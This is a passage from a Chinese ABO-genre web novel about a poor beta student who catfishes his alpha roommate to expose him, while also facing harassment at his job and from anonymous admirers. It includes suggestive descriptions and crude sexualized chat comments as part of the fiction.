指腹稍不留意就碰到小巧的腺体,柔软的皮肉吸附在手指上,软乎温热的,像是锢着手指不让他离开。
被诱惑般,指腹不轻不重地摩挲下,传来唐星野略带愠怒的声音。
“路至。”
被这样欺负,乌黑的眼眸带上模糊的水亮,眼尾晕染着脂红,在场的人看来就是气得不清,却还要维持自己最后的体面不发怒。
【天杀的路至,你可真不是,这样欺负寡夫。】
【老婆要掉小珍珠了,好可怜,好美哦,好想舔。】
【我看了什么?老婆的腺体?!我也想摸。】
唐星野真是被路至气到一把不行,打掉他的手。要不是有监控在,他真的忍不住给路至一巴掌。
路至僵硬住,知道自己刚才都行为非常的轻浮,只是靠近唐星野,嗅着柔软的香气,他的脑子就控制不住涌现奇怪的想法。
想说点什么,唐星野早就落荒而逃。
他好像又欺负了一次唐星野。
路至心里涌现一股烦躁,他只是想帮唐星野扯下衣领。犬齿划破下唇,他扫视会议室的人,神情变得很暗,像是能拧出谁,蹙着眉,“看什么?”
众人纷纷灰溜溜地四散而去。
蠢货,笨蛋,傻瓜,畜生!
这世界活着的alpha都是不是好东西!
唐星野泛着阵阵恶心,一直用纸巾擦着自己的腺体,心里不停咒骂用最脏的词汇辱骂路至。
他就知道路至当众提饭店的事,故意想让他出丑的!Alpha一定很享受这种掌控感吧?看着他难堪。
唐星野在店里摇奶茶,把里面的冰块当做变小的路至,被他装进狭小的杯子里,恶狠狠地摇着,冰块哐当哐当撞在一起,晃死他。
自从和那几个富二代成为室友,那些探究的人就多了暧昧示好的笑容,好像他唐星野沾了他们的光,才考上大学的。
今天这一出让唐星野更加讨厌路至,虚伪的有钱人!
原本只是想伪装omega勾引路至网恋,等他上钩了,他就自曝性别恶心死路至。现在唐星野改变主意了,他他要引导路至说出恶心肮脏的话,将聊天记录公之于众,让路至出丑。
反正网络这么大,匿名又没人知道他是谁,也查不到他头上。
想到届时周围人都会认清路至的真面目,唐星野心情变好不少。
那天之后宿舍里路至又暂时消失几天,课题组的成员隐晦地对他展露一点同情。
只有裴怜像个没事人,给他发了好几家餐厅,问他想去哪个?唐星野被路至恶心一把,再不想跟alpha出去单独吃饭,又找了借口推脱。
他的手机配置太低,稍微用久点,就会开始发烫,消息框突然弹出一条消息。
路至:【你在做什么?】
糖心:【想你啊,哥哥。】
然后路至又开始不说话,就好像突然问一句,只是为了确认他是不是还活着。
一周和路至的聊天,对方一直不冷不热的,偶尔会找他聊一两句,仅限于此。
唐星野觉得这样聊下去自己的计划可能要破产,找不到合适的人商量,只好点开沈清的头像。
他把路至的信息模糊,简略地把事情给沈清说了一遍。
沈清非常惊喜:【学弟,你恋爱了?!】
唐星野:【不是,就是想让他喜欢我。】
沈清意味深长的回复:【哦——】
唐星野:【他说话好冷淡,我主动找他聊天,他要么回个"嗯",要么隔半天才理我。】
沈清听着他们聊天记录的描述,眉头渐渐蹙起,沉默了几秒:【学弟,我说话有点难听。这种alpha就是欠收拾,你还是换个人喜欢吧。】
唐星野没想到沈清会这么说路至,唇角微微翘起,【我也是这样觉得!】
又想到自己的计划,故作苦恼补充了一句,【可是我还想跟他聊,就真的没有办法吗?】
沈清突然警觉:【……学弟,你有没有给他发照片啊?】
唐星野:【有啊,我把家里宠物照片发他。】
沈清:【你没发自己的照片吗?】
沈清深吸一口气,打字速度都快了几分:【学弟,你听好!第一,不准发自拍;第二,尤其不准拍腺体、锁骨、腰、腿这些地方;第三,要是他主动要照片,立刻拉黑!】
一想到唐星野高中就被人骗去订婚的传闻,沈清越想越不放心,又补了条语音:“这种忽冷忽热的Alpha最会PUA了,你现在觉得他冷淡,等他要照片的时候绝对会说''证明给我看你的诚意''——都是套路!”
“就是为了骗你这种单纯的beta去酒店发生关系。不要觉得beta没什么,知道吗?”
在沈清语重心长的劝说下,唐星野保证他会记得的。
聊天结束,唐星野心里小声地向沈清道歉,对不起,学姐,他说谎了。
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他不是故意想骗沈清的,他只是想要揭露路至这个人渣的丑恶嘴脸。等大家看清他的真面目,学姐一定会夸他做的好。
他的聊天风格用omega的形象,拍锁骨肯定会露馅的,唐星野想了想,把目光放在自己的腿上。
思来想去,唐星野还是咽不下那一口气,心一横,把裤子脱下来,并着腿,屈起腿,找了合适角度。他的腿型是修长的,和传统娇小omega还有差距。
拍了几张照,唐星野挑出最满意的。
双腿交叠着,在深色的床单下白的发光。
膝盖透出淡淡的粉,大腿丰腴的弧线没入阴影处,再往上就是不可言说的隐秘。白腻的皮肉可以想象用手揉捏,从指缝里溢出的软肉。
他看了又看,一想到要发给路至那个饥渴狂,唐星野就不爽。
凭什么路至这样虚伪的人能被大家喜欢和称赞,有钱就了不起吗? 崇拜这种人有什么意思?
路至又不会把他家里的钱分出来,而且谁知道他们的钱从哪里来的,说不定还有剥削广大劳动人民的部分。
唐星野心内阴暗地揣测。
他看不上路至,但为了自己的计划,舍不得孩子套不到狼,他咬牙发出去。
_____
总统套房的门铃响了第三次时,服务生忍不住皱了皱眉。但想到这位客人出手的丰厚小费,他还是迅速调整好职业化的微笑。
房间开门的一瞬间,浓烈的可可味信息素如浪潮般涌出。
服务生的瞳孔骤然收缩,他的脸色顿时煞白,强大的信息素像无形的手扼住他的喉咙,胸口传来被重击般的钝痛。
套房内的alpha冷冷地看着他,那目光像是打量毫无生命特征的物品。
“您、您的……”服务生的声音卡在喉咙里。他仓皇地将包装盒放在玄关的大理石地面上,甚至来不及等对方签收,转身时险些被自己的脚步绊倒。
房门关上的瞬间,他听见自己剧烈的心跳声震耳欲聋。劫后余生的脱力感让他顾不得,被同性压制成的狼狈。
路至熟练地又给自己打了一针抑制剂,随着药剂流进血液,那股暴虐的欲望渐渐消退。
他拆了包装,换上新的抑制环,又去洗了一个冷水澡。
理智一点点回笼,路至吐出一口浊气,为什么会这样?
絮乱症的爆发越发频繁,是从什么时候开始的呢?
从差一点咬到唐星野的腺体开始,他好像就变得有些奇怪。
唐星野身上有淡淡的冷香,初见他就被香懵了一瞬。
只要近距离接触唐星野,那股冷冽的香气就会让他控制不住地想要标记。
路至意识到自己不正常状态,他就主动和唐星野疏远。
压抑越久,稍加刺激,欲.望就爆发。但他一闭眼就是都是唐星野清冷漂亮的脸。
抿着唇,乌黑漂亮的眼眸满是愠怒,冷冷瞪着他,狠狠地给他一巴掌。
柔软浅淡、恰到好处的香气先一步包裹着鼻息。
但这一美好的画面很快变成唐星野和裴怜吃烛光晚餐的亲密画面。
他猛然睁开眼,紧绷唇线。
唐星野为什么不答应他,就凭饭店的事,他不会不管的。
唐星野刚开始都没有微信,后来买了手机,都没想着加他们的联系方式,也就周凛厚着脸皮硬缠加上。
他想转钱都找不到地方转。
他以为唐星野是清高,不愿意接受,可以现在看来并不是这样的。
唐星野是讨厌他?不,不可能。
他自然是知道这位室友的清高品行,性子虽冷了些,无论家世背景,对谁都是一视同仁。
一想到唐星野和裴怜亲密的画面,心中的烦躁就到达了极点。
糖心:【想你啊,哥哥。】
或许是刚刚又经历了一次假性易感,路至总觉得糖心这句话带着刻意引诱的意味。
多看几遍,甚至还有点beta高高在上俯视地看他,眉眼弯弯,嘲笑他发.情。
他闭眼,揉了揉发酸胀大的额角,重重地突出一口浊气。
一乱糟。
他有点后悔回复糖心,有了欲.望宣泄的出口,可以轻而易举勾出他可以压抑的一面。
他不喜欢这种感觉。
路至的指尖停留在手机屏幕上面,干脆直接拉黑糖心,让一切恢复成原样。
“叮咚——”
手机屏幕亮了起来。
路至一动不动地盯着手机屏幕,移不开目光。
镜头自上而下俯视,里面的人坐在床上,若隐若现露出大腿内侧更柔软的皮肉。双膝拘谨地并拢,却在无意间漏出一丝缝隙。脚踝白的晃眼,窥见黛青色的血管。
他没有伸手拿起手机,就这如同石像般看着,眼底的欲.望却深得可怕。
没过几秒,照片被撤回。
糖心:【不好意思,我发错了。】
8. 为难
糖心冷冰冰一句发错了,让路至大脑短暂宕机了一秒,随即胸口涌现就是被戏耍的愤怒。
路至:【?】
路至:【你刚才在跟别人聊天?】
宿舍已经熄灯,一片漆黑。床帘隔绝外界的目光,构建了一个安全自在的空间,手机的冷光照在唐星野的脸上,那双清凌凌的眼眸显得更加冷漠。
唐星野看着明显带有情绪的回复,嗤笑一声。
平时发消息爱搭不理,发腿照就迫不及待地回消息。
他认定,路至就是想要omega想到发疯的变态。表面装得彬彬有礼地婉拒omega,说自己暂时没有恋爱的想法,实际上渴望到不行。
什么温柔体贴大方的学霸,就是色鬼!
但唐星野想不明白,路至真是饥渴狂,想要omega,为什么要拒绝?
是因为他特殊的家庭背景,还是因为其他原因?
不管怎么样的苦衷,这不能抵消唐星野被路至恶心的事实,他思索片刻,就回复:
【没有别人,哥哥。我给你发消息,你回复有点冷漠,我还以为你不喜欢我。】
【你是我第一个在地瓜上的朋友,除了你,我都没跟别人聊天。】
怕路至不信,唐星野录一个视频,把自己的列表消息和关注,都展示给他。上面干干净净,唯一的路至还加了置顶。
路至:“……”
刚才糖心说的是发错了,不是发错人。
他舔了舔犬齿,对话框里的文字删了又打,最后只是发了一个句号。
唐星野看着聊天框顶部的“对方正在输入中”有点不解,路至这是在失望?
糖心:【哥哥你生气了吗?是我太吵了吗?那我以后不发这些东西了。】
路至:【我不是这个意思。】
发完路至就有点懊恼地抓来抓头发,他从一开始就应该删除这个账号,结束这场荒谬的肮脏的臆想。
他已经记不清为什么当初跟omega聊下去,是因为信息素絮乱时,那股柔软的香气刺激吗?
腺体隐隐发烫,他想起唐星野俯身时脖颈露出的那一小片肌肤——和糖心发来的照片角度惊人地相似。
但是唐星野肯定不会这么说话。
路至揉了揉额角,糖心立刻像得到奖励的小狗,信息一条接一条地蹦出来:
【那哥哥是什么意思嘛~】
【是不是其实很喜欢我发消息给你?】
【我刚才发照片是让哥哥看看被虫咬的包,又怕打扰到哥哥。】
路至回忆照片的细节,似乎在大腿内侧那确实有一小点红印。
【看过医生了吗?】
糖心:【哥哥别担心,已经上过药了,过两天就好了。】
路至给他发个红包。
唐星野没懂这是什么意思,是给他付医药费的吗?
他手指悬在屏幕上方,脑海中警铃大作,路至不会想用钱作为拿捏的把柄吧。
他想起普法栏目里那些案例——alpha转账给omega后反手告诈骗,不仅能把钱要回去,还能让omega背上案底。
没收钱顶多就是一场恶作剧,警察都不会管,收了钱就是诈骗了。他以后可是要考公当官的,政审要是发现他搞诈骗,他的人生就完蛋了。
转账像块烧红的炭,在对话框里滋滋冒烟。唐星野仿佛已经看到alpha捏着转账记录威胁他的样子——“你也不想骗钱的事被学校知道吧?”
alpha低沉的嗓音混着信息素的压迫感,光是想象就让他后颈的腺体隐隐作痛。
糖心:【哥哥,我不是这个意思。就是想给你分享下。哥哥现在在做什么呢?】
路至:【刚洗完澡。】
糖心:【那穿好衣服了吗?】
糖心:【捂脸.jpg】
路至:【嗯。】
唐星野微微蹙眉,他以为路至会顺着话题,说点骚扰的话题,毕竟他对糖心的腿照这么有兴趣。
最好发点他露脸的照片。
可惜对方没有上当,真是狡猾!为了维持糖心的人设,唐星野只好换个话题,【哥哥喜欢裙子吗?我今天穿了长裙。】
路至:【看看。】
唐星野:?
他一个beta从哪里变出裙子。
唐星野愣了一会,准备去找找只有下半身的短裙照片。转念一想,要是被路至发现腿不对,是网图,说不定就直接拉黑他。
唐星野决定蒙混过关:【我要睡了,明天再拍好不好?】
路至:【嗯,之后再看。】
唐星野没弄懂他到底是想看是不想看,不过半夜能跟omega聊看腿看裙子,能是什么正经人!肯定是想看故意装冷淡。
路至大概是等不到这裙子照片,他才不破费买裙子,发给他。
————
第二天唐星野去店里,看到门口贴着比例奇怪但是莫名好看的人物图,店里还摆着似乎同系列的牌子,他问同事才知道,是游戏联动的角色图。
他们每个员工都要带着游戏角色的发箍,给客人送餐,还要感情充沛地喊口号。唐星野沉默地盯着兔耳和那羞耻的口号,有点庆幸还好他只是在后台。
然而联动第一天,来的客人异常的多,前台有点忙不过来,领班喊唐星野也去前台帮忙。
唐星野端着托盘穿梭在店里,他一边把甜点和奶茶放在桌上,一边没有起伏的语调念出口号:“这些美食,注入了我对master的爱。请慢用。”
声音清晰干净,可太没情绪了。
低头玩游戏刚输一场的alpha火气上来,看谁都有点不顺眼。他微微蹙眉,不满唐星野的服务态度,忍不住抬头瞪他一眼。
看清楚那一刻,他愣住了,火气顿时被浇灭。
男生身量清瘦,带着黑色口罩看不清面容,却显得露出的肌肤更加白。鸦羽般的睫毛下垂,露出的眼睛黑白分明,眼尾还坠着诱人的泪痣。
被那双清冷的眼睛看着,就会觉得很爽。
alpha浑身一颤,明明穿着禁欲的黑色工作装,没有露出多余的肌肤,可怎么穿得越多显得越涩?
男生还带着兔耳发箍,雪白的绒毛随着他偏头的动作轻轻颤动,在灯光下晕开一圈柔软的弧度。绒毛一抖一抖的,简直像是挠在人的心里。
那双兔耳实在太白了,白得让人想用犬齿碾磨根部,看看会不会渗出情动的淡粉色。
下一桌的客人在招呼他,唐星野起身离开。alpha痴痴地望着,目光黏在黑色工装勾勒出窄瘦的腰线。
好细,感觉一只手就能掐住。
妈妈,他没见过这么正点的beta。
不知道能不能要他的联系方式。
实在不行,退一步,就算被他扇一巴掌,也是可以的。
“小哥,加个微信呗?”
唐星野站在座位旁,面无表情地看着眼前这个一身名牌、信息素浓得呛人的Alpha。对方已经在这里磨蹭了十分钟,点单时故意用指节敲击桌面,目光带着恶意地扫过他的脸。
唐星野心里骂人,表面淡然装作没听见:“好的,您还要点什么吗?”
“只是聊聊天,交个朋友,我又不会对你做什么,高材生。”季余撑着台面倾身过来,手腕上的名表反着光,“不然……我可能会投诉你服务态度不好哦。”
唐星野掀起眼皮,语气冷淡再次重复一遍:“本店不提供私人联系方式。”
季余脸色一沉,信息素陡然变得压迫,周围的人已经不适地皱眉。
“不给?你们店不是标榜‘顾客至上’吗?连这点要求都做不到?”
“叫你们管事的过来。”
唐星野的指腹微微蜷缩,垂下眼眸,看起来脆弱又可怜。
附近的人大气不敢喘,就看着alpha对唐星野的单方面骚扰,悄悄地发消息直播。
【季少不是最讨厌beta,这是,骚扰beta要联系方式?】
【B不B重要吗?长这么美,要是可以标记他,在他生.殖.腔里……嘿嘿,我也是愿意的。】
【好可怜哦,好美。老婆要掉小珍珠了,果然越冷就越适合被欺负哭。】
【哭算什么,他适合被弄脏,睫毛都是黏黏糊糊的……可怜巴巴地吃进去。】
季余笑了笑,笑意却未达眼底。“我也不是让你白加,多点几本菜单,你的提成应该很可观吧?”
他的目光始终缩在唐星野的清冷的眼睛。
季余就是故意
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的来找茬的。
季余是见过唐星野的,在京大的学生致辞上。作为新生代表致辞的唐星野站在台上的模样,像极了某种不可亵玩的高岭之花。
他不是京大的,那天是被父亲硬拽去的,耳边还回荡着恨铁不成钢的训斥:“看看人家!你再看看你!”
家族聚会上更是不厌其烦地拿他和堂哥季沉比较。
“人家季沉连保送名额都不要,非要自己考上京大!你呢,连个211都摸不着边,真是给季家丢脸!”
他心里很不屑,不就一个破学历,再优秀又怎么样,最后还不是要低头,还不是要为了生计折腰?就像现在。
谁让唐星野运气不好,在他心情不好时候碰到。季余自然是迁怒,准备把这种清高学霸踩在脚下,发泄自己受的闷气。
他本该觉得痛快的。
可唐星野因他的要求微微蹙眉,长睫低垂,在眼下投落一小片阴影时,季余忽然发现,自己想要的远不止“践踏”那么简单。
看着那张冷淡的脸染上羞恼,睫毛颤抖,却又不得不忍气吞声的模样。
一捧新雪,被他亲手捂化,再揉皱。
那该多有意思?
唐星野心里权衡利弊,其实加个联系方式也没什么。
按照以往的经验,客人要是闹起来,大概率他的兼职也没了。
唐星野就差几天,这个月工资和全勤就结了。这个工作本来就是用来过渡的,等着助学贷款一发,他就专注课业了,同时打三份兼职的工让他身体已经有点吃不消。
大不了忍他一阵,工资到手,直接拉黑删掉。
唐星野点头,“好。”
唐星野掏出手机时,季余还有一分警惕,认为唐星野会随便给其他人的微信糊弄他。
直到唐星野微微一笑,眉眼弯起,他忘记了呼吸。
他的脸在那双黑白分明的眼眸放大,清晰。眼尾的泪痣像是水墨画晕染开,水珠滚落沾染上诱惑,神秘而迷离。
近到能闻到他发丝间若有似无的冷香,季余的指尖不受控制地抬起,想要触碰这幅近在咫尺的画卷——
被毫不留情地打断。
“我说谁这么眼熟——”温和带着笑意的声音从背后响起,旖旎的氛围顿时消失,“季余你可真不厚道,出来玩,怎么不喊我们哥几个?”
被人打断好事,季余的脸色阴沉,扭头看向来人。
路至一把把唐星野拉到身后,转头看着他,神色冷冷,“在闹事?”
季余冷笑,“我交朋友关你们什么事?”
“朋友?”周凛突然笑出声,指尖轻敲桌面,“季沉,今早还问我最近有没有见到你。”
看到季沉的骤变的脸色,他笑容更深,“你说……他知道不知道,他弟弟正在强迫beta交朋友?”
听到季沉的名字,季余的脸色变得有点苍白,从小形成的肌肉记忆叫他对季沉生出畏惧。
他太清楚这位表哥季沉对这种事的态度,去年他哥在酒吧纠缠服务生,被季沉撞见当众卸了胳膊,骨骼错位的咔嗒声至今还在他噩梦里回响。
季余阴沉着脸,只是狠狠瞪了他们一眼,灰溜溜地走了。
听到有客人闹事的领班,匆匆赶来,见事态已经解决,松了一口气。看出这几人都认识,让唐星野跟客人道谢。
唐星野低声道了谢谢,感觉有点尴尬。
周凛笑了笑,“我给你点个小蛋糕,好吗?”
唐星野不想吃推脱,架不住周凛的劝说,随手指着一款经典甜品,“谢谢,我想吃这个。”
周凛转头去向其他店员交代。
唐星野垂着眸,雪白的兔耳有些耷拉,一副可怜又乖巧听话的模样。
路至盯着那对微微颤动的兔耳,冷笑一声,忽然开口,声音有点咬牙切齿,“认识这么久,第一次发现你还是这么好说话的人。别人缠着叫你给联系方式,你就给了。请你吃东西,就同意了。”
就区别对待他。
他想给唐星野打钱,申请好几次好友,都不给他通过。
有病。
唐星野瞥了路至一眼,又移开目光看向别处,他觉得他骂路至没有错,但路至出手帮他,现在骂人有点不礼貌。
嗯,今天暂时不骂路至。
9.朋友
路至一把扣住唐星野的手腕,却在触及皮肤的瞬间立即松开,仿佛被烫到般后退半步。他皱眉看着眼前这个总是将自己裹在疏离外壳里的室友。“等一下。”
唐星野抿着唇停下脚步,眼睫微微颤动,像只警觉的猫。“有事?”
“周凛组的饭局,一起。”路至刻意保持着安全距离,指尖无意识摩挲着口袋里的抑制剂。
唐星野的拒绝干脆利落,“我不饿。”
路至的目光扫过对方纤细得过分的腕骨,冷白皮肤上黛青色的血管清晰可见,“你就吃那么点?”
唐星野就吃了一个周凛点的小蛋糕,那蛋糕还没一个拳头大。
唐星野嗅到浅淡的苦涩的可可味,心里微微蹙眉,升腾起一丝生理性的厌恶。
但想起刚才路至帮过他,他声音稍缓,“我真的饱了。”
路至眉头皱得更紧,唐星野总是这样,宁可饿着也不愿接受别人的好意。
路至不信一个成年beta饭量就那么点,“你家里没给你生活费?”
唐星野声音平静而淡然,像是讨论今天的天气:“他们都死了。”
路至:“……抱歉。”
他沉默了一下,舌头发苦,有点后悔自己为什么要问这一句。
“走吧,去吃饭。”
“你和周凛去吧。”
唐星野说的不是气话,他确实饱了。
高中时候他为了省钱和挤时间,经常一包泡面一盒牛奶吊着,久而久之,萎缩的胃再也盛不下正常饭量。
他明白路至和周凛就像看到路边可怜的流浪猫狗,偶尔同情心发作,施舍点怜悯。
“那我先送你回宿舍。”
“我要去图书馆。”
路灯将两人的影子拉得很长,一前一后,泾渭分明。
路至皱了皱眉,声音沾上夜风的凉意。“我想把事讲清楚,你为什么总躲着我?”
唐星野:“……”
烦死了。
他在心里骂一句,但面上还是稍微缓和些,抬眼直视路至,给自己找补理由解释,“路至,你是alpha,你要是再来一次易感期,我是打不过你,你要理解我会害怕。”
“我带足了抑制剂。”路至从口袋里取出两支未拆封的针剂,“不会再发生那种意外。”这句话既是对唐星野的保证,也是对自己的提醒。
“我知道的。”唐星野打断了他。
“你喜欢omega,我也是。那只是一次意外,对吗?”
这话是唐星野说的真心话,作为相伴一生的恋人选择,这个世界上怎么会没有人不喜欢香香软软的omega,而去喜欢beta呢? 那一定是脑子有问题了。
知道归知道,但唐星野是个小心眼的人,意外又怎么样,意外就能开脱他差点被咬的事实吗?
没想到路至这么敏锐,或许他哪里的说话方式露馅让路至起疑心,暂时给点好脸色也无妨,毕竟他还要放长线钓大鱼。
等曝光路至真面目,这件事自然就一笔勾销。
对吗?
路至望着唐星野的眼睛,思绪万千,最后开口化为这一句话。
“我们还是朋友吧?”他伸出手,掌心向上,是个毫无威胁的姿势。
那一天说是意外,不如说是太多巧合凑在一起。
受酒精刺激,外加对方主动靠过来,还有他一直保持压制信息素的状态,所有因素积压在一起,促使他需要发泄。
说不后悔是假话,他觉得他伤害到了唐星野。
他心里本来对唐星野抱有一点不一样的好感,无关爱情,而是对一个优秀beta人格魅力的欣赏。
唐星野论品行、能力、容貌,是无可挑剔的优秀。
一开始为了避免腺体受到刺激,他刻意和唐星野保持距离。
是什么原因,让那点好感催化成对beta的欲.望。
是唐星野身上那一缕淡淡的香气太勾人吗?还是alpha的劣根性?
路至觉得自己活得像个畜生,每天都要套着抑制环,但这感情方面不该是这样的。
他应该和这个beta保持最普通的室友关系。这才是最合理、最安全的选择。
“朋友?”
唐星野盯着对方的手掌,眼眸微微一动。随即他像是听到什么好笑的事情,突然弯起眉眼,笑了出来。
alpha第一次见唐星野这么开心的笑,愣怔了一瞬。
清冷漂亮的脸笑起来,眼角的泪痣微微上扬,好看得要命,带着诱人的味道。
“路至。”
唐星野忽然很轻地喊了他的名字,声音轻得像雪落在掌心,打湿了路至的心田。
清瘦的雪人站在路灯下,睫毛在眼睑投下鸦青阴影,眼尾洇着薄红,肤色冷白。
昏黄的灯光柔和眉眼自带的清冷,显得梦幻而迷离。
唐星野说:“我不需要周凛的同情。”
他头也不回地转身离开,夜色里风裹着后半句话轻飘飘地撞进路至耳中。
“也不需要你的。”
晚风簌簌,吹散了最后一点温度。
——————
男生的声音很淡,“不要袋子,谢谢。”
晚班的店员昏昏欲睡,店员困倦地扫过屏幕,余额从两位数跳成个位数时,他混沌的脑子短暂闪过一丝诧异,京大还有这么穷的学生?
那只接过吊坠的手很好看。
冷白的皮肤下黛青色血管若隐若现,泛着淡粉的指尖正轻轻捻着一条银色细链,链子晃了晃,在灯光下划出一道细碎的弧光。
收银员抬头看了一眼面前的beta,瞬间清醒,将吊坠递过去,指尖不小心蹭到对方的掌心——凉的。
像捧了把新雪。
“谢谢。”
唐星野很礼貌地道谢,转身离开。他的衣角擦过进店酷拽alpha的腕骨,alpha的银质耳钉在灯光下闪烁。
店员盯着唐星野的背影,嗅了嗅自己的指尖,那是刚被触碰过的地方。手指蒙着淡淡的香气,柔软的,不浓烈,却叫人上.瘾。
怎么会这么香。
他胡乱地想着,好一会才意识到叼着棒棒糖的alpha站在他面前,不知道对方站了多久,惊醒般给人道歉结账。
alpha没在意,反倒带着审视的目光盯着店员,嘴角噙着一丝笑意,“你盯着那个beta看什么?不会想做什么坏事吧?”
“没有,没有,”店员见被误会连忙摆手解释,“你不认识他吗?”
alpha微微挑眉,“他很有名吗?”
“他是唐星野啊。”
好耳熟的名字,alpha咀嚼这几个字。
店员想起帖子的内容,流露出怜悯:“可怜的小beta,年纪轻轻就被骗婚,老公死了不仅没遗产给他,反倒是让他背一堆债。”
alpha有点惊讶,那个清冷的少年是beta,还结婚了。
店员好心提醒,“匿名论坛里有很多关于他的帖子,你要是对他有兴趣的话,可以去看看,不过最好挂马甲。”
在匿名论坛的暗角里,关于唐星野的帖子像阴暗角落的蘑菇般蔓延。
那些文字表面是诋毁,内里却浸透着扭曲的渴望——发帖人用最恶毒的语言筑起高墙,不让旁人靠近,自己却扒在墙缝间窥视。
他们既想将唐星野拖入泥沼,又隐秘地期盼他能垂眸一瞥,哪怕只是厌恶的眼神,也能让躲在屏幕后的心脏疯狂跳动。每个字句都渗着病态的占有欲,仿佛用最肮脏的词汇包裹,就能掩饰底下颤抖的、见不得光的迷恋。
alpha微微颔首,没有多想,只当是身世悲惨的小可怜被大家关注。
手机叮咚跳出消息,看清内容的alpha挑眉,季余那个蠢货又惹事。
唐星野走回到宿舍,打开灯,房间里空无一人。他坐在椅子上,从学生证的夹层里取出一缕发丝
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,小心翼翼地放进吊坠里。指尖在冰凉的金属上停留片刻,最终将它挂上脖颈。
打开手机,唐星野盯着账户余额,叹了一口气。
他没申请贫困生补贴。
穷是事实,但还没到吃不起饭的地步。那些从大山里来的同学,比他更需要这笔钱。
更重要的是,灾星的事已经够惹人注目,唐星野比谁都清楚,一旦申请补助,那些藏在档案里的陈年旧事就会被翻出来,像解剖台上的标本一样供人围观。他不想自己那点破烂事摊在众人面前——
要是让人知道他父母是什么货色:两个不工作一辈子只会趴在老人身上吸血的人渣,一个控制狂酒鬼,一个不着家的赌鬼;最后一个酒精中毒脑溢血,一个半夜跑去打牌出车祸......
那场面光是想象就让他反胃。
得到无非两句不痛不痒的惋惜和同情,这能改变什么?
唐星野不需要别人的同情,他宁愿要真实的冷漠。
他想看到的是闻泽亮晶晶的眼睛,听他用那种带着崇拜的语气说:“你居然能从那滩烂泥里爬出来,星野,你好厉害哦。”
唐星野摩挲着胸前的吊坠,而后攥紧握住。
闻泽,他最好的朋友。
裴怜:【星野,我今天看到很漂亮的晚霞,给你看看(晚霞.jpg)】
裴怜加了他之后,隔三差五地邀请他出去玩,一开始唐星野还装模作样地回一两句,后面不是课题学习有关的,他懒得回。
裴怜没有因为他不回消息而放弃,转而跟他汇报日程,发了很多有趣的照片,比如跟玩偶一样漂亮的猫猫,色彩鲜艳的花卉。
裴怜是一个很容易满足的人,比如种的花发芽就很开心,做的椰奶小方翻车了,但是味道还不错也开心。
他的生活是五颜六色的,唐星野只是看着,就觉得很好。
只要远远地看着。
因为唐星野做兼职被骚扰,但为了工资不得不隐忍的事情在校园匿名论坛又火了,他的手机收到的短信内容又多了一种类型。
【老婆,要倒贴钱的小三吗?】
【宝宝,试试我吧,我会比你丈夫做的更好。他竟然连遗产都没给你留,真是太不像话了,不像我愿意把所有钱都给老婆花。】
【老婆,你可以看看我。我作息不规律,经常通宵,肯定活不久。但是我有钱,跟我结婚,等我死了这些都是你的,你到时候年纪轻轻,继承我的遗产,可以再谈一个,你看好不好?】
【宝贝,我不像其他的妖艳贱.货只有钱这么庸俗!我除了有钱,我活也好,还会舔。鼻梁也挺,方便你在我脸上磨。我鼻子用着很舒服的,你可以试试哦。】
屏幕后的alpha焦灼地盯着屏幕,老婆怎么还不给他回消息,是他哪里做的不够好吗?
于是他又发了一条。
【宝宝,和我结婚吧。我和那些卑鄙小人不一样,你不喜欢我也没关系,我会主动在实验室忙,留给你出轨的时间很多的。我是处,没谈过恋爱,不擅长抓小三。】
唐星野沉默了几秒,现在诈骗短信的风格都是这么奇怪吗?
能被这种骗到的都是什么蠢货,他看起来很好骗吗?
他冷笑,随便回了一句:【那微信给我50块,看看实力。】
对方秒回:【老婆,怎么才要这么点零花钱呀,这哪里够花。你快点把银行卡号发过来,我给你多转点。50w够不够?我会备注“自愿贡献给老婆的零花钱”。】
唐星野:……
直接要卡号,这骗子都不装一下。
还一口一个老婆。
唐星野:【谁是你老婆,别乱喊。】
匿名用户:【可是老婆就是老婆啊。宝宝你是很老婆的老婆,嘿嘿……老婆亲亲。】
唐星野心想,现在这种蠢蛋也能当骗子吗?老婆怎么会是形容词。
他骂得更厉害:【死骗子再乱喊,我给你两巴掌!】
10.报复
唐星野:【死骗子你再乱喊,我给你两巴掌!】
匿名用户:【嘿嘿,好啊好啊!巴掌好啊,爽死我了!还给我取小名,谢谢老婆!】
屏幕后的alpha更加兴奋了!在他看来,温柔漂亮的老婆说这话,这怎么不能算是奖励呢?
他立马改了用户名,死就算了,毕竟他只想死在老婆身上。
骗子:【左右脸两边都有,老婆都考虑到了,老婆你真体贴!】
骗子:【老婆奖励说完了,卡号在哪里!收款码在哪里!我把我赚的钱都给你!】
死骗子!
唐星野冷着脸把人拉黑,删掉短信。
微信消息跳出来,唐星野盯着手机屏幕,指尖在“确认收款”的按键上方悬停许久。刚到的工资数额比预期少了整整四百——全勤奖被扣得干干净净。
店长发来的消息刺眼地挂在聊天界面最上方:
【小唐,你这几天工作态度不行,来店的客人好多都是你的同学,你遇到他们总聊个不停。工资按天数给你发,全勤扣了。】
唐星野盯着这几行字好一会,才快速打字回复:【这个月我已经做满了,而且是他们主动来找我聊天,我都拒绝了,我也尽快提醒他们点单,不要耽误店里的生意。为什么变成我的过错?】
消息刚发出去,店长的语音就跳了出来:【说到底不是你惹出来?人家只是加个微信,要不是你给那些顾客甩脸色,人家会缠着你较劲吗?】
唐星野被劈头盖脸地骂了一顿,哑口无言,一时之间不知道该骂谁。
看到对面不情不愿地收了工资,店长转头给季余打电话,“都按照您说的做了,唐星野已经辞职了,手下的人不懂事。这点小事都没做好。”
季余皱起眉头,怎么和他预想的走向不一样?
明明那些贫困高材生不会是这样。他们会因为不想失去被扣的工资或是迫于生计,而选择试图妥协,这时季余就会让他们跪下来赔礼道歉。
毕竟,对一无所有的人来说,尊严是最廉价的筹码。
他只想让唐星野低头,没想让他丢了工作。
唐星野怎么不按套路出牌。
他摩挲腕骨上那块价值不菲的名表,冰冷的金属切面硌在指腹,像他此刻难以平复的烦躁。
正出神时,书房的门被推开,父亲走了进来。
“爸,沉哥没事吧?听说他被关进祠堂有段时间了……”季余扯出一抹笑,语气里藏着几分试探。
男人瞥了他一眼,“他比你心里有数。倒是你,最近没出去惹事?”
“哪能啊?”季余讪笑,“就是觉得沉哥挺冤的。Alpha教官用信息素欺负Omega,他动手也算情有可原吧?”
他说得诚恳,心里却在冷笑。他当然不关心季沉的死活,巴不得这位表哥烂在祠堂里。这段时间浪惯了,突然想起来算算日子,那个总爱管着闲事的表哥也该出来了。
